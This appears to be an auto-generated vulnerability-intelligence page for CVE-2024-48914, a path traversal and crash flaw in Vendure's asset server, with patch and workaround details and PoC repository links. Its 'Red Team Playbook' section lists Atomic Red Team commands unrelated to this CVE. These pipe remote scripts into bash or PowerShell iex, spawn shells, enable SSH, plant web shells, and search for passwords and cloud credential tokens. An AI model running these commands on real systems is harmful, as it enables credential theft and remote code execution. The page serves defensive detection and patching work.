CVE-2024-48914
Overview
This vulnerability is a directory traversal flaw in the asset server plugin of Vendure, an open-source headless commerce platform. The root cause lies in insufficient validation of user-supplied request URIs, allowing crafted requests to traverse the server file system. The affected component is the asset server plugin handling file retrieval requests prior to versions 3.0.5 and 2.3.3.
Vulnerability Description
Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. In the same code path is an additional vector for crashing the server via a malformed URI. Patches are available in versions 3.0.5 and 2.3.3. Some workarounds are also available. One may use object storage rather than the local file system, e.g. MinIO or S3, or define middleware which detects and blocks requests with urls containing `/../`.
Impact
An unauthenticated remote attacker can leverage this vulnerability to read arbitrary files on the server, potentially exposing sensitive data such as configuration files and environment variables. The attacker can also cause a denial of service by crashing the server with a malformed URI. This requires only network access to the vulnerable asset server plugin and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The consequences include data breach and service disruption impacting the confidentiality and availability of the system.
Solution
Vendure has released patches in versions 3.0.5 and 2.3.3 that address this vulnerability by properly validating request URIs in the asset server plugin. Users should upgrade to these versions promptly. As a workaround, the vendor recommends using object storage solutions such as MinIO or S3 instead of the local file system, or implementing middleware to block requests containing '/../' sequences in URLs. Detailed patch instructions are available in the Vendure security advisory at https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Vendure headless commerce platform's asset server plugin presents a significant security risk due to its ability to facilitate directory traversal attacks. This flaw allows an attacker to craft specially designed requests that can navigate the server's file system, potentially exposing sensitive files such as configuration settings, environment variables, and other critical data stored on the server. The underlying issue stems from inadequate input validation, which fails to properly sanitize user-supplied data. This oversight enables attackers to manipulate file paths, gaining unauthorized access to files that should be protected. Additionally, the same code path is susceptible to denial-of-service attacks through malformed URIs, which can crash the server and disrupt service availability.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could initiate a request to the asset server, including path traversal sequences such as "/../", which would allow them to move up the directory structure and access files outside the intended scope. For instance, if an attacker knows or can guess the file structure of the server, they could retrieve sensitive files like database credentials or API keys, leading to further exploitation of the system. Furthermore, the potential for denial-of-service attacks adds another layer of risk, as attackers could intentionally send malformed requests to cause server crashes, thereby impacting the availability of the commerce platform.
The real-world implications of this vulnerability are profound, particularly for businesses relying on the Vendure platform for their e-commerce operations. The exposure of sensitive data can lead to data breaches, resulting in financial loss, reputational damage, and potential legal consequences due to non-compliance with data protection regulations. The ability to crash the server also poses a risk to business continuity, as downtime can lead to lost sales and diminished customer trust. In an increasingly competitive online marketplace, such vulnerabilities can severely undermine a company's position and customer relationships.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize implementing the available patches in versions 3.0.5 and 2.3.3 of the Vendure platform. Regularly updating software to the latest versions is a fundamental practice in cybersecurity hygiene. Additionally, organizations can adopt workarounds such as utilizing object storage solutions like MinIO or S3, which can help mitigate the risk of local file system exposure. Implementing middleware that inspects incoming requests for suspicious patterns, such as those containing "/../", can further enhance security by blocking potentially malicious requests before they reach the asset server.
In conclusion, the vulnerability within Vendure's asset server plugin underscores the critical importance of robust input validation and secure coding practices in software development. Organizations must remain vigilant in monitoring for potential exploits and ensure timely updates to their systems. By adopting a proactive approach to cybersecurity, including the implementation of patches, workarounds, and request validation, businesses can significantly reduce their risk exposure and protect sensitive data from unauthorized access and potential exploitation.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
EQSTLab/CVE-2024-48914
Arbitrary File Read and DoS in vendure-ecommerce exploit
|
EQSTLab | 5 | 0 | 2024-10-21 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-48914 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vendure-ecommerce/vendure/commit/e2ee0c43159b3d13b51b78654481094fdd4850c5 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vendure-ecommerce/vendure/commit/e4b58af6822d38a9c92a1d8573e19288b8edaa1c |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vendure-ecommerce/vendure/blob/801980e8f599c28c5059657a9d85dd03e3827992/packages/asset-server-plugin/src/plugin.ts#L352-L358 |